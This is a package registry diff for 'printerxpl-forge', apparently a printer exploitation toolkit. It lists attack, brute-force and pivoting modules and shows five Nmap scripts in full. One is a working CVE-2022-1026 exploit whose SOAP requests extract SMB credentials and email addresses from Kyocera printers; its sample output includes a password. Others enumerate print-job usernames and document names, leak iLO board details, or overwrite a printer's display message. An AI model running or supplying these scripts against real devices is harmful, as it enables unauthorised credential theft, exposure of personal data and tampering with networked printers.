printerxpl-forge 6.2.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (97) hide show
  1. nse/README.md +204 -0
  2. nse/__init__.py +6 -0
  3. nse/install_nse.py +412 -0
  4. nse/lib/printerxpl.lua +238 -0
  5. nse/scripts/cups-info.nse +74 -0
  6. nse/scripts/cups-queue-info.nse +43 -0
  7. nse/scripts/hp-printers-cve-2022-1026.nse +121 -0
  8. nse/scripts/http-device-mac.nse +107 -0
  9. nse/scripts/http-hp-ilo-info.nse +121 -0
  10. nse/scripts/http-info-xerox-enum.nse +101 -0
  11. nse/scripts/http-vuln-cve2022-1026.nse +158 -0
  12. nse/scripts/lexmark-config.nse +89 -0
  13. nse/scripts/pjl-ready-message.nse +106 -0
  14. nse/scripts/printer-banner.nse +217 -0
  15. nse/scripts/printer-cups-rce.nse +189 -0
  16. nse/scripts/printer-cve-detect.nse +279 -0
  17. nse/scripts/printer-discover.nse +205 -0
  18. nse/scripts/printer-firmware-exposed.nse +219 -0
  19. nse/scripts/printer-hp-pjl.nse +192 -0
  20. nse/scripts/printer-http-ews.nse +293 -0
  21. nse/scripts/printer-ipp-info.nse +235 -0
  22. nse/scripts/printer-lexmark-ipp.nse +203 -0
  23. nse/scripts/printer-passback.nse +204 -0
  24. nse/scripts/printer-pjl-info.nse +146 -0
  25. nse/scripts/printer-printnightmare.nse +211 -0
  26. nse/scripts/printer-snmp-info.nse +176 -0
  27. nse/scripts/printer-vuln-check.nse +256 -0
  28. nse/scripts/snmp-device-mac.nse +93 -0
  29. nse/scripts/snmp-info.nse +146 -0
  30. nse/scripts/snmp-sysdescr.nse +70 -0
  31. printerxpl_forge-6.2.0.dist-info/METADATA +919 -0
  32. printerxpl_forge-6.2.0.dist-info/RECORD +97 -0
  33. printerxpl_forge-6.2.0.dist-info/WHEEL +5 -0
  34. printerxpl_forge-6.2.0.dist-info/entry_points.txt +4 -0
  35. printerxpl_forge-6.2.0.dist-info/licenses/LICENSE +21 -0
  36. printerxpl_forge-6.2.0.dist-info/top_level.txt +4 -0
  37. src/assets/fonts/gunplay.pfa +1671 -0
  38. src/assets/fonts/kshandwrt.pfa +315 -0
  39. src/assets/fonts/laksoner.pfa +2402 -0
  40. src/assets/fonts/paintcans.pfa +9699 -0
  41. src/assets/fonts/stencilod.pfa +4076 -0
  42. src/assets/fonts/takecover.pfa +26138 -0
  43. src/assets/fonts/topsecret.pfa +6652 -0
  44. src/assets/fonts/whoa.pfa +773 -0
  45. src/assets/mibs/HOST-RESOURCES-MIB +1540 -0
  46. src/assets/mibs/Printer-MIB +4389 -0
  47. src/assets/mibs/README.md +9 -0
  48. src/assets/mibs/SNMPv2-MIB +854 -0
  49. src/assets/overlays/hacker.eps +596 -0
  50. src/assets/overlays/smiley.eps +214 -0
  51. src/assets/overlays/smiley2.eps +240 -0
  52. src/core/attack_orchestrator.py +1025 -0
  53. src/core/capabilities.py +323 -0
  54. src/core/destructive_audit.py +430 -0
  55. src/core/discovery.py +488 -0
  56. src/core/osdetect.py +74 -0
  57. src/core/poly_runner.py +579 -0
  58. src/core/printer.py +1426 -0
  59. src/main.py +2134 -0
  60. src/modules/install_printer.py +318 -0
  61. src/modules/login_bruteforce.py +852 -0
  62. src/modules/pcl.py +506 -0
  63. src/modules/pjl.py +3575 -0
  64. src/modules/print_job.py +1290 -0
  65. src/modules/ps.py +1102 -0
  66. src/payloads/__init__.py +98 -0
  67. src/payloads/assets/overlays/notice.eps +9 -0
  68. src/protocols/__init__.py +19 -0
  69. src/protocols/firmware.py +738 -0
  70. src/protocols/ipp.py +216 -0
  71. src/protocols/ipp_attacks.py +609 -0
  72. src/protocols/lpd.py +141 -0
  73. src/protocols/network_map.py +1004 -0
  74. src/protocols/raw.py +173 -0
  75. src/protocols/smb.py +359 -0
  76. src/protocols/ssrf_pivot.py +427 -0
  77. src/protocols/storage.py +587 -0
  78. src/ui/__init__.py +6 -0
  79. src/ui/interactive.py +742 -0
  80. src/ui/spinner.py +112 -0
  81. src/ui/tables.py +132 -0
  82. src/utils/banner_grabber.py +852 -0
  83. src/utils/codebook.py +456 -0
  84. src/utils/config.py +522 -0
  85. src/utils/cve_loader.py +158 -0
  86. src/utils/default_creds.py +134 -0
  87. src/utils/discovery_online.py +1327 -0
  88. src/utils/exploit_manager.py +805 -0
  89. src/utils/fuzzer.py +220 -0
  90. src/utils/helper.py +732 -0
  91. src/utils/local_printers.py +307 -0
  92. src/utils/ml_engine.py +491 -0
  93. src/utils/operators.py +474 -0
  94. src/utils/ports.py +234 -0
  95. src/utils/vuln_scanner.py +823 -0
  96. src/utils/wordlist_loader.py +412 -0
  97. src/version.py +36 -0
@@ -0,0 +1,121 @@
1
+ description = [[
2
+ Attempts to extract information from HP iLO boards including versions and addresses.
3
+
4
+ HP iLO boards have an unauthenticated info disclosure at <ip>/xmldata?item=all.
5
+ It lists board informations such as server model, firmware version,
6
+ MAC addresses, IP addresses, etc. This script uses the slaxml library
7
+ to parse the iLO xml file and display the info.
8
+ ]]
9
+
10
+ ---
11
+ --@usage nmap --script hp-ilo-info -p 80 <target>
12
+ --
13
+ --@usage nmap --script hp-ilo-info -sV <target>
14
+ --
15
+ --@output
16
+ --PORT STATE SERVICE
17
+ --80/tcp open http
18
+ --| ilo-info:
19
+ --| ServerType: ProLiant MicroServer Gen8
20
+ --| ProductID: XXXXXX-XXX
21
+ --| UUID: XXXXXXXXXXXXXXXX
22
+ --| cUUID: XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXX
23
+ --| ILOType: Integrated Lights-Out 4 (iLO 4)
24
+ --| ILOFirmware: X.XX
25
+ --| SerialNo: ILOXXXXXXXXXX
26
+ --| NICs:
27
+ --| NIC 1:
28
+ --| Description: iLO 4
29
+ --| MacAddress: 12:34:56:78:9a:bc
30
+ --| IPAddress: 10.10.10.10
31
+ --| Status: OK
32
+ --| NIC 2:
33
+ --| Description: iLo 4
34
+ --| MacAddress: 11:22:33:44:55:66
35
+ --| IPAddress: Unknown
36
+ --|_ Status: Disabled
37
+ --
38
+
39
+ author = "Rajeev R Menon"
40
+ license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
41
+ categories = {"safe","discovery"}
42
+
43
+ local http = require "http"
44
+ local slaxml = require "slaxml"
45
+ local stdnse = require "stdnse"
46
+ local shortport = require "shortport"
47
+
48
+ portrule = shortport.http
49
+
50
+ function getTag(table,tag)
51
+ for _,n in ipairs(table.kids) do
52
+ if n.type == "element" and n.name == tag then
53
+ return n
54
+ elseif n.type == "element" then
55
+ local ret = getTag(n,tag)
56
+ if ret ~= nil then return ret end
57
+ end
58
+ end
59
+ return nil
60
+ end
61
+
62
+ function parseXML(dom)
63
+ local response = stdnse.output_table()
64
+ local info = stdnse.output_table()
65
+ info['ServerType'] = getTag(dom,"SPN")
66
+ info['ProductID'] = getTag(dom,"PRODUCTID")
67
+ info['UUID'] = getTag(dom,"UUID")
68
+ info['cUUID'] = getTag(dom,"cUUID")
69
+ info['ILOType'] = getTag(dom,"PN")
70
+ info['ILOFirmware'] = getTag(dom,"FWRI")
71
+ info['SerialNo'] = getTag(dom,"SN")
72
+
73
+ for key,_ in pairs(info) do
74
+ if info[key] ~= nil then
75
+ response[tostring(key)] = info[key].kids[1].value
76
+ end
77
+ end
78
+
79
+ response.NICs = stdnse.output_table()
80
+ local nicdom = getTag(dom,"NICS")
81
+ if nicdom ~= nil then
82
+ local count = 1
83
+ for _,n in ipairs(nicdom.kids) do
84
+ local nic = stdnse.output_table()
85
+ info = stdnse.output_table()
86
+ for k,m in ipairs(n.kids) do
87
+ if #m.kids >= 1 and m.kids[1].type == "text" then
88
+ if m.name == "DESCRIPTION" then
89
+ info["Description"] = m.kids[1].value
90
+ elseif m.name == "MACADDR" then
91
+ info["MacAddress"] = m.kids[1].value
92
+ elseif m.name == "IPADDR" then
93
+ info["IPAddress"] = m.kids[1].value
94
+ elseif m.name == "STATUS" then
95
+ info["Status"] = m.kids[1].value
96
+ end
97
+ end
98
+ end
99
+ for key,_ in pairs(info) do
100
+ nic[tostring(key)] = info[key]
101
+ end
102
+ response.NICs["NIC "..tostring(count)] = nic
103
+ count = count + 1
104
+ end
105
+ end
106
+ return response
107
+ end
108
+
109
+ action = function(host,port)
110
+ local response = http.get(host,port,"/xmldata?item=all")
111
+ if response["status"] ~= 200
112
+ or not response.body
113
+ or not response.body:match('<RIMP>')
114
+ or not response.body:match('iLO')
115
+ then
116
+ return
117
+ end
118
+ local domtable = slaxml.parseDOM(response["body"],{stripWhitespace=true})
119
+ return parseXML(domtable)
120
+ end
121
+
@@ -0,0 +1,101 @@
1
+ local http = require("http")
2
+ local stdnse = require "stdnse"
3
+ local string = require "string"
4
+
5
+ description = [[
6
+ Enumerates usernames, hostnames and documents from the print history
7
+ of Xerox Centreware Internet Services printers.
8
+
9
+ Use the argument <code>xerox.port</code> to specify a non standard port.
10
+
11
+ Note: it is normal for the document names to be truncated as they are
12
+ normally truncated in the response.
13
+ ]]
14
+
15
+ --@usage
16
+ --@arg xerox.port specify non standard port
17
+ --nmap -p 80 --script=http-printer.nse --script-args xerox.port=80 192.168.50.46
18
+ --@output
19
+ --Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-14 11:44 EDT
20
+ --Nmap scan report for PHRACK-PNT-MAIN.phrack.com.au (192.168.50.46)
21
+ --Host is up (0.024s latency).
22
+ --
23
+ --PORT STATE SERVICE
24
+ --80/tcp open http
25
+ --| http-printer:
26
+ --| -- Usernames:
27
+ --| slakin
28
+ --| jburrows
29
+ --| citrix-svr
30
+ --| -- Hostnames:
31
+ --| PHRACK-HQ-PRN
32
+ --| PHRACK-HQ-ADDS
33
+ --| PHRACK-HQ-MAINT
34
+ --| -- Documents:
35
+ --| Microsoft Outlook - Memo Style
36
+ --| Microsoft Word - Rach.doc
37
+ --| Microsoft Word - Document1
38
+ --| PayAdvicesEx.pdf
39
+ --| Payslip - 10May2023 - John.pdf
40
+ --|_Test Page
41
+
42
+
43
+ author = "Shain Lakin"
44
+ license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
45
+ categories = {"safe", "discovery"}
46
+
47
+ portrule = function(host, port)
48
+ local port_number = tonumber(stdnse.get_script_args('xerox.port')) or 80
49
+ return port.number == port_number and port.protocol == "tcp"
50
+ end
51
+
52
+ local function insert_unique(t, value)
53
+ for _,v in ipairs(t) do
54
+ if v == value then return end
55
+ end
56
+ table.insert(t,value)
57
+ end
58
+
59
+ action = function(host, port)
60
+ local url = "/job/logsys.htm"
61
+ -- Fetch job history
62
+ local response = http.get(host, port.number, url)
63
+ stdnse.print_debug(response.body)
64
+ if not (response.status == 200) then
65
+ return("Invalid target")
66
+ end
67
+
68
+ -- Parse document names
69
+ local documents = {}
70
+ for document in string.gmatch(response.body, '<td class=jobhistory_1>(.-)</td>') do
71
+ if document ~= "" then
72
+ insert_unique(documents, document)
73
+ end
74
+ end
75
+
76
+ -- Parse usernames
77
+ local usernames = {}
78
+ for username in string.gmatch(response.body, '<td class=jobhistory_2>(.-)</td>') do
79
+ if username ~= "" then
80
+ insert_unique(usernames, username)
81
+ end
82
+ end
83
+
84
+ -- Parse hostnames
85
+ local hostnames = {}
86
+ for hostname in string.gmatch(response.body, '<td class=jobhistory_3>(.-)</td>') do
87
+ if hostname ~= "" then
88
+ insert_unique(hostnames, hostname)
89
+ end
90
+ end
91
+
92
+ if #usernames > 0 and #hostnames > 0 and #documents > 0 then
93
+ local output = "\n-- Usernames:\n" .. table.concat(usernames,'\n')
94
+ output = output .. "\n-- Hostnames:\n" .. table.concat(hostnames, '\n')
95
+ output = output .. "\n-- Documents:\n" .. table.concat(documents, '\n')
96
+ return output
97
+ else
98
+ return "No job history found"
99
+ end
100
+ end
101
+
@@ -0,0 +1,158 @@
1
+ local http = require("http")
2
+ local stdnse = require "stdnse"
3
+ local string = require "string"
4
+
5
+
6
+ description = [[
7
+ Recovers SMB credentials and Email addresses from the
8
+ address book of vulnerable Kyocera mutifunction printers.
9
+
10
+ Kyocera multifunction printers running vulnerable versions
11
+ of Net View unintentionally expose sensitive user information,
12
+ including usernames and passwords, through an insufficiently
13
+ protected address book export function.
14
+
15
+ Net view is ran by default over http or https on TCP ports 9090
16
+ or 9091 respectively. To specify a custom TCP port pass the
17
+ <code>kyocera.port</code> argument.
18
+
19
+ To only check for vulnerability and skip exploiting the target
20
+ host pass 'true' to the <code>kyocera.skipexploit</code> parameter.
21
+ ]]
22
+
23
+ --@usage
24
+ --nmap --script=http-vuln-cve2022-1026 192.168.50.45
25
+ --@output
26
+ --Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-13 11:12 EDT
27
+ --Nmap scan report for PRINTER01.phrack.com (192.168.50.45)
28
+ --Host is up (0.030s latency).
29
+ --Not shown: 991 closed tcp ports (conn-refused)
30
+ --PORT STATE SERVICE
31
+ --80/tcp open http
32
+ --515/tcp open printer
33
+ --631/tcp open ipp
34
+ --9090/tcp open zeus-admin
35
+ --| http-vuln-cve2022-1026:
36
+ --| -- SMB Credentials
37
+ --| Username: phrack.com\scanmanager
38
+ --| Password: G48n4&##JJKL32$
39
+ --| -- Emails
40
+ --| john.batchelor@phrack.com
41
+ --|_Marcus.Hayden@phrack.com
42
+ --9100/tcp open jetdirect
43
+
44
+ --@usage
45
+ --nmap --script=http-vuln-cve2022-1026 --script-args kyocera.port=9090,kyocera.skipexploit=true 192.168.50.45
46
+ --@args kyocera.port specify alternative TCP port
47
+ --@args kyocera.skipexploit check if vulnerable but do not exploit
48
+ --@output
49
+ --Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-13 11:17 EDT
50
+ --Nmap scan report for PRINTER01.phrack.com (192.168.50.45)
51
+ --Host is up (0.028s latency).
52
+ --Not shown: 991 closed tcp ports (conn-refused)
53
+ --PORT STATE SERVICE
54
+ --80/tcp open http
55
+ --443/tcp open https
56
+ --515/tcp open printer
57
+ --631/tcp open ipp
58
+ --9090/tcp open zeus-admin
59
+ --|_http-vuln-cve2022-1026: VULNERABLE
60
+ --9100/tcp open jetdirect
61
+
62
+ author = "Shain Lakin"
63
+ license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
64
+ categories = {"safe", "exploit", "vuln"}
65
+
66
+
67
+ portrule = function(host, port)
68
+ local port_number = tonumber(stdnse.get_script_args('kyocera.port')) or 9090
69
+ return port.number == port_number and port.protocol == "tcp"
70
+ end
71
+
72
+ action = function(host, port)
73
+
74
+ local url = "/ws/km-wsdl/setting/address_book"
75
+ local headers = {['Content-Type'] = 'application/soap+xml'}
76
+ local skip_exploit = stdnse.get_script_args('kyocera.skipexploit') or false
77
+
78
+ local post_data1 = [[
79
+ <?xml version="1.0" encoding="utf-8"?>
80
+ <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"
81
+ xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding"
82
+ xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
83
+ xmlns:xsd="http://www.w3.org/2001/XMLSchema"
84
+ xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing"
85
+ xmlns:xop="http://www.w3.org/2004/08/xop/include"
86
+ xmlns:ns1="http://www.kyoceramita.com/ws/km-wsdl/setting/address_book">
87
+ <SOAP-ENV:Header>
88
+ <wsa:Action SOAP-ENV:mustUnderstand="true">http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/create_personal_address_enumeration</wsa:Action>
89
+ </SOAP-ENV:Header>
90
+ <SOAP-ENV:Body>
91
+ <ns1:create_personal_address_enumerationRequest>
92
+ <ns1:number>25</ns1:number>
93
+ </ns1:create_personal_address_enumerationRequest>
94
+ </SOAP-ENV:Body>
95
+ </SOAP-ENV:Envelope>
96
+ ]]
97
+
98
+ -- First POST request
99
+ local response1 = http.post(host, port.number, url, nil, {}, post_data1)
100
+
101
+ if not response1.status then
102
+ return("HTTP request failed")
103
+ end
104
+
105
+ local enumeration = string.match(response1.body, '<kmaddrbook:enumeration>([%d]+)<')
106
+
107
+ if not enumeration then
108
+ return("NOT VULNERABLE")
109
+ elseif skip_exploit then
110
+ return("VULNERABLE")
111
+ end
112
+
113
+ local post_data2 = [[
114
+ <?xml version="1.0" encoding="utf-8"?>
115
+ <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"
116
+ xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding"
117
+ xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
118
+ xmlns:xsd="http://www.w3.org/2001/XMLSchema"
119
+ xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing"
120
+ xmlns:xop="http://www.w3.org/2004/08/xop/include"
121
+ xmlns:ns1="http://www.kyoceramita.com/ws/km-wsdl/setting/address_book">
122
+ <SOAP-ENV:Header>
123
+ <wsa:Action SOAP-ENV:mustUnderstand="true">http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/get_personal_address_list</wsa:Action>
124
+ </SOAP-ENV:Header>
125
+ <SOAP-ENV:Body>
126
+ <ns1:get_personal_address_listRequest><ns1:enumeration>]]..enumeration..[[</ns1:enumeration></ns1:get_personal_address_listRequest></SOAP-ENV:Body></SOAP-ENV:Envelope>
127
+ ]]
128
+
129
+ -- Second POST request
130
+ local response2 = http.post(host, port.number, url, nil, {}, post_data2)
131
+
132
+ if not response2.status then
133
+ return("HTTP request failed")
134
+ end
135
+ stdnse.print_debug("Raw output:\n" .. response2.body)
136
+
137
+ -- Parse email addresses
138
+ local emails = {}
139
+ for email in string.gmatch(response2.body, '<kmaddrbook:address>(.-)</kmaddrbook:address>') do
140
+ if email ~= "" then
141
+ table.insert(emails, email)
142
+ end
143
+ end
144
+ -- Parse login credentials
145
+ local username = string.match(response2.body, '<kmaddrbook:login_name>(.-)</kmaddrbook:login_name>')
146
+ local password = string.match(response2.body, '<kmaddrbook:login_password>(.-)</kmaddrbook:login_password>')
147
+
148
+ if username and password then
149
+ local output = ("\n-- SMB Credentials:\nUsername: %s\nPassword: %s"):format(username, password)
150
+ if #emails > 0 then
151
+ output = output .. "\n-- Emails:\n" .. table.concat(emails,'\n')
152
+ end
153
+ return output
154
+ else
155
+ return "VULNERABLE but no data available"
156
+ end
157
+ end
158
+
@@ -0,0 +1,89 @@
1
+ local dns = require "dns"
2
+ local nmap = require "nmap"
3
+ local shortport = require "shortport"
4
+ local stdnse = require "stdnse"
5
+ local table = require "table"
6
+
7
+ description = [[
8
+ Retrieves configuration information from a Lexmark S300-S400 printer.
9
+
10
+ The Lexmark S302 responds to the NTPRequest version probe with its
11
+ configuration. The response decodes as mDNS, so the request was modified
12
+ to resemble an mDNS request as close as possible. However, the port
13
+ (9100/udp) is listed as something completely different (HBN3) in
14
+ documentation from Lexmark. See
15
+ http://www.lexmark.com/vgn/images/portal/Security%20Features%20of%20Lexmark%20MFPs%20v1_1.pdf.
16
+ ]]
17
+
18
+
19
+ ---
20
+ --@usage
21
+ -- nmap -sU -p 9100 --script=lexmark-config <target>
22
+ --@output
23
+ -- Interesting ports on 192.168.1.111:
24
+ -- PORT STATE SERVICE REASON
25
+ -- 9100/udp unknown unknown unknown-response
26
+ -- | lexmark-config:
27
+ -- | IPADDRESS: 10.46.200.170
28
+ -- | IPNETMASK: 255.255.255.0
29
+ -- | IPGATEWAY: 10.46.200.2
30
+ -- | IPNAME: "ET0020006E4A37"
31
+ -- | MACLAA: "000000000000"
32
+ -- | MACUAA: "0004007652EC"
33
+ -- | MDNSNAME: "S300-S400 Series (32)"
34
+ -- | ADAPTERTYPE: 2
35
+ -- | IPADDRSOURCE: 1
36
+ -- | ADAPTERCAP: "148FC000"
37
+ -- | OEMBYTE: 1 0
38
+ -- | PASSWORDSET: FALSE
39
+ -- | NEWPASSWORDTYPE: TRUE
40
+ -- | 1284STRID: 1 "S300-S400 Series"
41
+ -- | CPDATTACHED: 1 1
42
+ -- | SECUREMODE: FALSE
43
+ -- | PRINTERVIDPID: 1 "043d0180"
44
+ -- |_ product=(S300-S400: Series)
45
+
46
+ -- Version 0.3
47
+ -- Created 01/03/2010 - v0.1 - created by Patrik Karlsson
48
+ -- Revised 01/13/2010 - v0.2 - revised script to use dns library
49
+ -- Revised 01/23/2010 - v0.3 - revised script to use the proper ports
50
+
51
+ author = "Patrik Karlsson"
52
+ license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
53
+ categories = {"discovery", "safe"}
54
+
55
+
56
+ portrule = shortport.portnumber({5353,9100}, "udp")
57
+
58
+ action = function( host, port )
59
+
60
+ local result = {}
61
+ local status, response = dns.query( "", { port = port.number, host = host.ip, dtype="PTR", retPkt=true} )
62
+ if ( not(status) ) then
63
+ return
64
+ end
65
+ local status, txtrecords = dns.findNiceAnswer( dns.types.TXT, response, true )
66
+ if ( not(status) ) then
67
+ return
68
+ end
69
+
70
+ for _, v in ipairs( txtrecords ) do
71
+ if ( v:len() > 0 ) then
72
+ if v:find("PRINTERVIDPID") then
73
+ port.version.name="hbn3"
74
+ end
75
+ if not v:find("product=") then
76
+ v = v:gsub(" ", ": ", 1)
77
+ end
78
+ table.insert( result, v )
79
+ end
80
+ end
81
+
82
+ -- set port to open
83
+ nmap.set_port_state(host, port, "open")
84
+ nmap.set_port_version(host, port)
85
+
86
+ return stdnse.format_output(true, result)
87
+ end
88
+
89
+
@@ -0,0 +1,106 @@
1
+ local nmap = require "nmap"
2
+ local shortport = require "shortport"
3
+
4
+ description = [[
5
+ Retrieves or sets the ready message on printers that support the Printer
6
+ Job Language. This includes most PostScript printers that listen on port
7
+ 9100. Without an argument, displays the current ready message. With the
8
+ <code>pjl_ready_message</code> script argument, displays the old ready
9
+ message and changes it to the message given.
10
+ ]]
11
+
12
+ ---
13
+ -- @arg pjl_ready_message Ready message to display.
14
+ -- @output
15
+ -- 9100/tcp open jetdirect
16
+ -- |_ pjl-ready-message: "READY" changed to "p0wn3d pr1nt3r"
17
+ -- @usage
18
+ -- nmap --script=pjl-ready-message.nse \
19
+ -- --script-args='pjl_ready_message="your message here"'
20
+
21
+ author = "Aaron Leininger"
22
+
23
+ license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
24
+
25
+ categories = {"intrusive"}
26
+
27
+ portrule = shortport.port_or_service(9100, "jetdirect")
28
+
29
+ local function parse_response(response)
30
+ local msg
31
+ local line
32
+
33
+ for line in response:gmatch(".-\n") do
34
+ msg = line:match("^DISPLAY=\"(.*)\"")
35
+ if msg then
36
+ return msg
37
+ end
38
+ end
39
+ end
40
+
41
+ action = function(host, port)
42
+
43
+ local status --to be used to grab the existing status of the display screen before changing it.
44
+ local newstatus --used to repoll the printer after setting the display to check that the probe worked.
45
+ local statusmsg --stores the PJL command to get the printer's status
46
+ local response --stores the response sent over the network from the printer by the PJL status command
47
+
48
+ statusmsg="@PJL INFO STATUS\r\n"
49
+
50
+ local rdymsg="" --string containing text to send to the printer.
51
+ local rdymsgarg="" --will contain the argument from the command line if one exists
52
+
53
+ local socket = nmap.new_socket()
54
+ socket:set_timeout(15000)
55
+ local try = nmap.new_try(function() socket:close() end)
56
+ try(socket:connect(host, port))
57
+ try(socket:send(statusmsg)) --this block gets the current display status
58
+ local data
59
+ response,data=socket:receive()
60
+ if not response then --send an initial probe. If no response, send nothing further.
61
+ socket:close()
62
+ if nmap.verbosity() > 0 then
63
+ return "No response from printer: "..data
64
+ else
65
+ return nil
66
+ end
67
+ end
68
+
69
+ status = parse_response(data)
70
+ if not status then
71
+ if nmap.verbosity() > 0 then
72
+ return "Error reading printer response: "..data
73
+ else
74
+ return nil
75
+ end
76
+ end
77
+
78
+ rdymsgarg = nmap.registry.args.pjl_ready_message
79
+ if not rdymsgarg then
80
+ if status then
81
+ return "\""..status.."\""
82
+ else
83
+ return nil
84
+ end
85
+ end
86
+
87
+ rdymsg="@PJL RDYMSG DISPLAY = \""..rdymsgarg.."\"\r\n"
88
+ try(socket:send(rdymsg)) --actually set the display message here.
89
+
90
+ try(socket:send(statusmsg)) --this block gets the status again for comparison
91
+ response,data=socket:receive()
92
+ if not response then
93
+ socket:close()
94
+ return "\""..status.."\""
95
+ end
96
+ newstatus=parse_response(data)
97
+ if not newstatus then
98
+ socket:close()
99
+ return "\""..status.."\""
100
+ end
101
+
102
+ socket:close()
103
+
104
+ return "\""..status.."\" changed to \""..newstatus.."\""
105
+ end
106
+